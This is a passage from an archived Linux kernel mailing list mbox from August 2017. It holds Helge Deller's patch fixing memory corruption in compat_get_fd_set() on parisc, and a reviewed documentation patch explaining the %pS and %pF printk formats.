 EOeM219efrr9RLv0RIWMAm3qclwUhq4j5tOeQpLfzai1Rg84e97POU1oMWbpzet3wUFTX+pv 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2555004 gmane.linux.file-systems:125722 gmane.linux.ports.parisc:27743
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2555004>

Dave, can you test this patch?
Helge

------
[PATCH] Fix kernel panic due to memory corruption in compat_get_fd_set()

Dave faced this kernel crash in the select() compat syscall on the
parisc architecture:

 Kernel Fault: Code=26 (Data memory access rights trap) regs=00000002234b84e0 (Addr=0000000000000000)
 CPU: 1 PID: 21167 Comm: polyimport Not tainted 4.13.0-rc5+ #1
 task: 0000000223d74b50 task.stack: 00000002234b8000
 IAOQ[0]: memset+0x68/0xd8
 IAOQ[1]: memset+0x6c/0xd8
 RP(r2): compat_get_fd_set+0x5c/0x78
 Backtrace:
 [<00000000402f316c>] compat_get_fd_set+0x5c/0x78
 [<00000000402f3cac>] compat_core_sys_select+0x1cc/0x300
 [<00000000402f52dc>] compat_SyS_select+0x144/0x1a0
 [<0000000040155fe4>] syscall_exit+0x0/0x14
 Kernel panic - not syncing: Kernel Fault

It seems commit 464d62421cb8 ("select: switch compat_{get,put}_fd_set()
to compat_{get,put}_bitmap()") broke the calculation on how many bytes
need to be zeroed in case of fdset beeing NULL. This leads to memory
overwrites and crashes.

Fixes: 464d62421cb8 ("select: switch compat_{get,put}_fd_set() to compat_{get,put}_bitmap()"
Cc: Al Viro <viro@zeniv.linux.org.uk>
Cc: linux-fsdevel@vger.kernel.org
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/fs/select.c b/fs/select.c
index 9d5f15e..c6362e3 100644
--- a/fs/select.c
+++ b/fs/select.c
@@ -1164,11 +1164,7 @@ int compat_get_fd_set(unsigned long nr, compat_ulong_t __user *ufdset,
 	if (ufdset) {
 		return compat_get_bitmap(fdset, ufdset, nr);
 	} else {
-		/* Tricky, must clear full unsigned long in the
-		 * kernel fdset at the end, ALIGN makes sure that
-		 * actually happens.
-		 */
-		memset(fdset, 0, ALIGN(nr, BITS_PER_LONG));
+		zero_fd_set(nr, fdset);
 		return 0;
 	}
 }



From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Wed, 23 Aug 2017 16:48:24 +0200
Lines: 88
Approved: news@gmane.org
Message-ID: <20170823144824.GE27895@pathway.suse.cz>
References: <20170810173533.GA11600@ls3530.fritz.box>
 <20170811001521.GA520@jagdpanzerIV.localdomain>
 <47718712-9eb2-8ad7-965e-d0971d07e985@gmx.de>
 <20170815113625.GA2738@pathway.suse.cz>
 <d5fda170-e95b-024e-59ad-650b4db78ba6@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503499708 17680 195.159.176.226 (23 Aug 2017 14:48:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 23 Aug 2017 14:48:28 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 23 16:48:24 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dkWxD-0004JJ-EW
	for glk-linux-kernel-3@m.gmane.org; Wed, 23 Aug 2017 16:48:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932112AbdHWOs2 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 23 Aug 2017 10:48:28 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:35276 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1753985AbdHWOs0 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 23 Aug 2017 10:48:26 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 09439AD4B;
        Wed, 23 Aug 2017 14:48:25 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <d5fda170-e95b-024e-59ad-650b4db78ba6@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2555785 gmane.linux.ports.parisc:27744
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2555785>

On Tue 2017-08-15 21:58:33, Helge Deller wrote:
> On 15.08.2017 13:36, Petr Mladek wrote:
> > Here is the updated patch with my proposed changes.
> > Feel free to update it:
> 
> Much better!
> Thanks a lot.
> 
> Maybe we should mention usage of __func__ with '%s' (see other thread).
> 
> And _RET_IP_ is worth mentioning beside __builtin_return_address(0) too,
> because it's used quite often wrongly.

Yup, it seems that all this causes confusion. I did not find a good
way to explain this in the text. I think that we need the examples
after all.

Here is an updated version:


>From 818511a3be494b76b8f5ba1c2c6bb38095a9c640 Mon Sep 17 00:00:00 2001
From: Petr Mladek <pmladek@suse.com>
Date: Tue, 15 Aug 2017 11:34:19 +0200
Subject: [PATCH] printk-formats.txt: Better describe the difference between
 %pS and %pF

Sometimes people seems unclear when to use the %pS or %pF printk format.
For example, see commit 51d96dc2e2dc ("random: fix warning message on ia64
and parisc") which fixed such a wrong format string.

The documentation should be more clear about the difference.
Also examples might help to avoid some typical mistakes.

Signed-off-by: Helge Deller <deller@gmx.de>
[pmladek@suse.com: Restructure the entire section]
Signed-off-by: Petr Mladek <pmladek@suse.com>
---
 Documentation/printk-formats.txt | 27 +++++++++++++++++++--------
 1 file changed, 19 insertions(+), 8 deletions(-)

diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
index 65ea5915178b..d503080e5174 100644
--- a/Documentation/printk-formats.txt
+++ b/Documentation/printk-formats.txt
@@ -58,20 +58,31 @@ Symbols/Function Pointers
 	%ps	versatile_init
 	%pB	prev_fn_of_versatile_init+0x88/0x88
 
-For printing symbols and function pointers. The ``S`` and ``s`` specifiers
-result in the symbol name with (``S``) or without (``s``) offsets. Where
-this is used on a kernel without KALLSYMS - the symbol address is
-printed instead.
+The ``F`` and ``f`` specifiers are for printing function pointers,
+for example, f->func, &gettimeofday. They have the same result as
+``S`` and ``s`` specifiers. But they do an extra conversion on
+ia64, ppc64 and parisc64 architectures where the function pointers
+are actually function descriptors.
+
+The ``S`` and ``s`` specifiers can be used for printing symbols
+from direct addresses, for example, __builtin_return_address(0),
+(void *)regs->ip. They result in the symbol name with (``S``) or
+without (``s``) offsets. If KALLSYMS are disabled then the symbol
+address is printed instead.
 
 The ``B`` specifier results in the symbol name with offsets and should be
 used when printing stack backtraces. The specifier takes into
 consideration the effect of compiler optimisations which may occur
 when tail-call``s are used and marked with the noreturn GCC attribute.
 
-On ia64, ppc64 and parisc64 architectures function pointers are
-actually function descriptors which must first be resolved. The ``F`` and
-``f`` specifiers perform this resolution and then provide the same
-functionality as the ``S`` and ``s`` specifiers.
+Examples::
+
+	printk("Going to call: %pF\n", gettimeofday);
+	printk("Going to call: %pF\n", p->func);
+	printk("%s: called from %pS\n", __func__, _RET_IP_);
+	printk("%s: called from %pS\n", __func__, __builtin_return_address(0));
+	printk("Faulted at %pS\n", (void *)regs->ip);
+	printk(" %s%pB\n", reliable ? "" : "? ", (void *)*stack);
 
 Kernel Pointers
 ===============
-- 
1.8.5.6



From - Thu Nov 08 21:40:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Steven Rostedt <rostedt@goodmis.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Wed, 23 Aug 2017 10:49:47 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20170823104947.3d84737e@gandalf.local.home>
References: <20170810173533.GA11600@ls3530.fritz.box>
        <20170811001521.GA520@jagdpanzerIV.localdomain>
        <47718712-9eb2-8ad7-965e-d0971d07e985@gmx.de>
        <20170815113625.GA2738@pathway.suse.cz>
        <d5fda170-e95b-024e-59ad-650b4db78ba6@gmx.de>
        <20170823144824.GE27895@pathway.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503499801 2550 195.159.176.226 (23 Aug 2017 14:50:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 23 Aug 2017 14:50:01 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Petr Mladek <pmladek@suse.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 23 16:49:48 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dkWyV-0006yP-DP
	for glpp-linux-parisc@m.gmane.org; Wed, 23 Aug 2017 16:49:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754095AbdHWOtu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 23 Aug 2017 10:49:50 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:60800 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753985AbdHWOtt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 23 Aug 2017 10:49:49 -0400
Original-Received: from gandalf.local.home (cpe-67-246-153-56.stny.res.rr.com [67.246.153.56])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 813722156A;
        Wed, 23 Aug 2017 14:49:48 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org 813722156A
Authentication-Results: mail.kernel.org; dmarc=none (p=none dis=none) header.from=goodmis.org
Authentication-Results: mail.kernel.org; spf=none smtp.mailfrom=rostedt@goodmis.org
In-Reply-To: <20170823144824.GE27895@pathway.suse.cz>
X-Mailer: Claws Mail 3.14.0 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27745 gmane.linux.kernel:2555787
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27745>

On Wed, 23 Aug 2017 16:48:24 +0200
Petr Mladek <pmladek@suse.com> wrote:

> +
> +	printk("Going to call: %pF\n", gettimeofday);
> +	printk("Going to call: %pF\n", p->func);
> +	printk("%s: called from %pS\n", __func__, _RET_IP_);
> +	printk("%s: called from %pS\n", __func__, __builtin_return_address(0));
> +	printk("Faulted at %pS\n", (void *)regs->ip);
> +	printk(" %s%pB\n", reliable ? "" : "? ", (void *)*stack);

Much better!

-- Steve
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Wed, 23 Aug 2017 21:36:21 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <b8fe55d6-9dfe-ee6e-8a78-357f1ba3b9a7@gmx.de>
References: <20170810173533.GA11600@ls3530.fritz.box>
 <20170811001521.GA520@jagdpanzerIV.localdomain>
 <47718712-9eb2-8ad7-965e-d0971d07e985@gmx.de>
 <20170815113625.GA2738@pathway.suse.cz>
 <d5fda170-e95b-024e-59ad-650b4db78ba6@gmx.de>
 <20170823144824.GE27895@pathway.suse.cz>
 <20170823104947.3d84737e@gandalf.local.home>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503517163 29809 195.159.176.226 (23 Aug 2017 19:39:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 23 Aug 2017 19:39:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Steven Rostedt <rostedt@goodmis.org>,
        Petr Mladek <pmladek@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 23 21:39:17 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dkbUf-0007HF-7h
	for glk-linux-kernel-3@m.gmane.org; Wed, 23 Aug 2017 21:39:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932809AbdHWTgr (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 23 Aug 2017 15:36:47 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:50391 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932737AbdHWTgn (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 23 Aug 2017 15:36:43 -0400
Original-Received: from [192.168.20.60] ([193.159.16.22]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M51eM-1dLd6k0d9K-00zBqX; Wed, 23
 Aug 2017 21:36:24 +0200
In-Reply-To: <20170823104947.3d84737e@gandalf.local.home>
Content-Language: en-US
X-Provags-ID: V03:K0:7jHI3nz/aBTB0kY7V0Oze7oVfsz84MOjvRl0PilEo3+tIGCjnvX
 9wXjqfCZ6ioOkY6XWji4SXbv+2+uJjEuvFvUbDs8hqPiTIg5AhgVxGWwMR+uwM8z/OHseqQ
 E62mf+ae7rNlskGD75y0FLbl1quyripmMRgq6ZmMreZkXjtcjv+tWGrzNWqbBTNtCEu4JM6
 BFmPeCBpcZwc87OyEyJIQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:pVAZxqeeWkk=:u92j3HFq2Jm7TriVZtiKs+
 L7NvPP6hkRH6kAm9e+YsHEXusGb+Lfux2MBtXsB82j+gU6z8Mux1YwwXa9gBpsEwyvfqMih8Q
 Fqk/KsP5EmYKxKxLZYn1+VSjZVt2QA10Y6JFH/R2job/X/cL3ofCFy13SPi+a6gXzhmMWR6eo
 v/2O7GOHNagd5MCb2R+qAyB9WmD478iZIj1c9aJdlhaIsePAbkYvABgs4zpxMfXQeKQq9+sEF
 pBmbFw9M69gCQPhLTRrVByvP8Z0zqbazmR5K24b7tQ9zaYKbfy9rFv9avH0sFwav9Dl4LWi9Q
 ismwG3jV7SPsMHU6oDY47NTyZA7c3+AuIWJdMZhw/7A6NPVb/p7/VQvMJ0J57TXkZ+iUgRzhL
 aqj5VCtedlLGWwCZ8gqUYdtV1TqKeGTb9V/pVQjtdoL47rMKijGVr71IYcIyGsDL+qeBvFWGG
 loJIDW6SVYw430sJT/4QUccw5Uc4XZur5PkBRtQLo97I/zmyP530LjYmEs6ylevUXYiyznJA2
 PyJFpuqCZlY/W+PbrT5fZGH/PiEZnJOCBSp+ucG74SCHIxGrV5DbApdI08F7744W7hzXVcxMk
 5xfP2UNurDiL4rseW7ghF6Cqeev7/I3txW8ByKt1XgTLdrMmcWwYXzto8c54KkD/V4mCjbM1h
 B2+I92Ukl5SkOQfgUkAkRjX7CjYhec6NrnHZ297GAOPi3SyObJRUDKt8Z48IzuBV3qaMp2cRA
 QXNzUpDb8XgQJYxGhKfSuN+WRbvgzixM8yC7bFjlzzfm2y5be15oepCufXamxL1l1p5INB4W 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2555997 gmane.linux.ports.parisc:27746
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2555997>

On 23.08.2017 16:49, Steven Rostedt wrote:
> On Wed, 23 Aug 2017 16:48:24 +0200
> Petr Mladek <pmladek@suse.com> wrote:
> 
>> +
>> +	printk("Going to call: %pF\n", gettimeofday);
>> +	printk("Going to call: %pF\n", p->func);
>> +	printk("%s: called from %pS\n", __func__, _RET_IP_);
>> +	printk("%s: called from %pS\n", __func__, __builtin_return_address(0));
>> +	printk("Faulted at %pS\n", (void *)regs->ip);
>> +	printk(" %s%pB\n", reliable ? "" : "? ", (void *)*stack);
> 
> Much better!

Petr, that's really much better.

I've already pushed the part which restructured the text upstream.
I'll push this part of the patch (which adds the examples) for v4.14.

Thanks,
Helge  


From - Thu Nov 08 21:40:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.file-systems,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v2] fs/select: Fix memory corruption in compat_get_fd_set()
Date: Wed, 23 Aug 2017 22:37:00 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <20170823203700.GA29614@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503520637 10002 195.159.176.226 (23 Aug 2017 20:37:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 23 Aug 2017 20:37:17 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: John David Anglin <dave.anglin@bell.net>,
        linux-parisc@vger.kernel.org
To: Al Viro <viro@zeniv.linux.org.uk>, linux-fsdevel@vger.kernel.org,
        linux-kernel@vger.kernel.org, akpm@linux-foundation.org
Original-X-From: linux-fsdevel-owner@vger.kernel.org Wed Aug 23 22:37:09 2017
Return-path: <linux-fsdevel-owner@vger.kernel.org>
Envelope-to: lnx-linux-fsdevel@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-fsdevel-owner@vger.kernel.org>)
	id 1dkcOc-0001r5-Q8
	for lnx-linux-fsdevel@m.gmane.org; Wed, 23 Aug 2017 22:37:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754156AbdHWUhI (ORCPT <rfc822;lnx-linux-fsdevel@m.gmane.org>);
        Wed, 23 Aug 2017 16:37:08 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:50475 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751728AbdHWUhH (ORCPT <rfc822;linux-fsdevel@vger.kernel.org>);
        Wed, 23 Aug 2017 16:37:07 -0400
Original-Received: from ls3530.fritz.box ([193.159.16.22]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LosFD-1d4yv619tj-00gqIT; Wed, 23
 Aug 2017 22:37:03 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:rE8XRVICLqVllpAEWe9f/7edpvfzj3+akrNcPxONUO0jrPJwmIR
 BPiIuimXSKqUgVmLFmv5R/xFiqbnLS7DD4uRrSkK2F1rv3Ct5ZDB7hux7RNjNS6VX6xKpig
 9vcomKkMj1tib4XRpPWB47Q+/54fS5C+EBfJNB926m3BgozAf7ND27p68yFgMVKQituQje1
 gRmbyslnHZvkS7q8d65FQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ddUCsPUaWRw=:kp+DOTwfXUDSuHITbA4ooL
 HHSaycMsMsS3mZAK19Ru7ppKpS88I89Hd7nYHDiSCznfduxKPo/9tV3vKn8cTrGDoKo1t95m1
 nm6BO/fcMa20ZfbMmf06gVsBuCMzPbla8R1UiaEZcSGMnUTzlQuOzuc3VoW46zE0gqEbMxxIL
 6ARpfsYY69yxAYvcz5Asr3G77v4jctXIvO10s0HOYvAX4zN+uceazFpdqPqoiJHuOJBsz1XNu
 m7/ns8CFsPVURO7spdJLXC62pvWDVt8SKuMm04+TA8+Azh7WNf1iEeIJsqZBPzfBU/rXfDy71
 EqsOaYap0gc9B5xQClzbFmLAIVle/WZ43X7i331RP3AFEEKmkBXGQ0+ksmF6vMaGESS+eFmjm
 CBIEG1uzUfQlKDu85By/iLimn5DLxrQ+8ibYsQgZomm5zrGn6n+37/fcCrCxhOx4p6yzOoWKG
 I4dUg3RYHb/FaNRvo8wkMeE+Ax6ONkJHuJLBcQhPQpEbKr2sbACdeFIpD2aGBe3JRrCkcezKY
 tKNVOEY6E3oES8E94+arVwX7noY93SFiAYALAGb2gOTgte0cGiHp4hp0jE0fr9/NghvQq8ANq
 0NFQI+dAV/+zP7JqGUpfjuwofgbtzzZW0vnvXDowgXdbCJwiow5l1UlZHyr4moneujTGX27sU
 w3dnWLQ8txkDonOczn2khIfM6cAvCpLXoD8v4zi2biTvTYDVGPAliEAcHE/jhgFXWtcr6dPFm
 sE5yTDA/XqeatIH+Bw3DhJN/Rdh3Imc2+vLMrAoGLv8jMWIX5wXUIq3Yg9EUIVod2Ju7Sd1i 
Original-Sender: linux-fsdevel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-fsdevel.vger.kernel.org>
X-Mailing-List: linux-fsdevel@vger.kernel.org
Xref: news.gmane.org gmane.linux.file-systems:125760 gmane.linux.kernel:2556014 gmane.linux.ports.parisc:27747
Archived-At: <http://permalink.gmane.org/gmane.linux.file-systems/125760>

Commit 464d62421cb8 ("select: switch compat_{get,put}_fd_set() to
compat_{get,put}_bitmap()") changed the calculation on how many bytes
need to be zeroed when userspace handed over a NULL pointer for a
fdset array in the select syscall.

The calculation was changed in compat_get_fd_set() wrongly from
	memset(fdset, 0, ((nr + 1) & ~1)*sizeof(compat_ulong_t));
to
	memset(fdset, 0, ALIGN(nr, BITS_PER_LONG));

The ALIGN(nr, BITS_PER_LONG) calculates the number of bits which
need to be zeroed in the target fdset array (rounded up to the next
full bits for an unsigned long).
But the memset() call expects the number of bytes to be zeroed.

This leads to clearing more memory than wanted (on the stack area or
even at kmalloc()ed memory areas) and to random kernel crashes as we
have seen them on the parisc platform.

The correct change should have been
	memset(fdset, 0, (ALIGN(nr, BITS_PER_LONG) / BITS_PER_LONG) * BYTES_PER_LONG);
which is the same as can be archieved with a call to
	zero_fd_set(nr, fdset).

Fixes: 464d62421cb8 ("select: switch compat_{get,put}_fd_set() to compat_{get,put}_bitmap()"
Cc: Al Viro <viro@zeniv.linux.org.uk>
Cc: linux-fsdevel@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Signed-off-by: Helge Deller <deller@gmx.de>
---
Changes between v1 and v2 of the patch:
- Rephrased description of the problem

diff --git a/fs/select.c b/fs/select.c
index 9d5f15e..c6362e3 100644
--- a/fs/select.c
+++ b/fs/select.c
@@ -1164,11 +1164,7 @@ int compat_get_fd_set(unsigned long nr, compat_ulong_t __user *ufdset,
 	if (ufdset) {
 		return compat_get_bitmap(fdset, ufdset, nr);
 	} else {
-		/* Tricky, must clear full unsigned long in the
-		 * kernel fdset at the end, ALIGN makes sure that
-		 * actually happens.
-		 */
-		memset(fdset, 0, ALIGN(nr, BITS_PER_LONG));
+		zero_fd_set(nr, fdset);
 		return 0;
 	}
 }


From - Thu Nov 08 21:40:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Thu, 24 Aug 2017 09:41:03 +0900
Lines: 24
Approved: news@gmane.org
Message-ID: <20170824004103.GA3569@jagdpanzerIV.localdomain>
References: <20170810173533.GA11600@ls3530.fritz.box>
 <20170811001521.GA520@jagdpanzerIV.localdomain>
 <47718712-9eb2-8ad7-965e-d0971d07e985@gmx.de>
 <20170815113625.GA2738@pathway.suse.cz>
 <d5fda170-e95b-024e-59ad-650b4db78ba6@gmx.de>
 <20170823144824.GE27895@pathway.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503535251 18810 195.159.176.226 (24 Aug 2017 00:40:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 24 Aug 2017 00:40:51 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: Helge Deller <deller@gmx.de>,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Petr Mladek <pmladek@suse.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 24 02:40:46 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dkgCP-0004GY-T5
	for glpp-linux-parisc@m.gmane.org; Thu, 24 Aug 2017 02:40:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751038AbdHXAks (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 23 Aug 2017 20:40:48 -0400
Original-Received: from mail-pg0-f46.google.com ([74.125.83.46]:36714 "EHLO
        mail-pg0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751020AbdHXAkr (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 23 Aug 2017 20:40:47 -0400
Original-Received: by mail-pg0-f46.google.com with SMTP id 83so7775908pgb.3;
        Wed, 23 Aug 2017 17:40:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=Yqaj1N+Qlvty/gz89srwFS1Hp8OJKPNNi9iUOVmo45M=;
        b=o74CCGHVVYeCfINd813vQiV113ziT2ulUxUztJTZ845+4AH0q2dsVkSrksS1fDq2t8
         3G/wobQLnViEbpvxfr9ZzkmjyUajG2eJdPOdNsRt04cYZboegLBdxPc06Z34vf3IaUzG
         IH5QaPmXrpqRh16P9ZWLePtBt4vffLY0uI5WjqnfLSM+tGYr+P5qtMv89jDmDJqkFdts
         cXDVQZ3sUNzS2jxQSLHPyT5mS+tU2j+g271IAm0/bhDE7i7O2AyqYjWUyq0jeX5RMC+E
         zse+RoCpfJasXXyV6oOZ6dcKXST2IFIGJDB5G0SIupUfL4ZkWZYjpU5kWIKbbISpUVl3
         5FvQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=Yqaj1N+Qlvty/gz89srwFS1Hp8OJKPNNi9iUOVmo45M=;
        b=gyeea6PO9eTbVFGVy3issT3WVJ6O0/8Pb0ow+3qok/scl1XhpEy5NjYQCbekHU3tLx
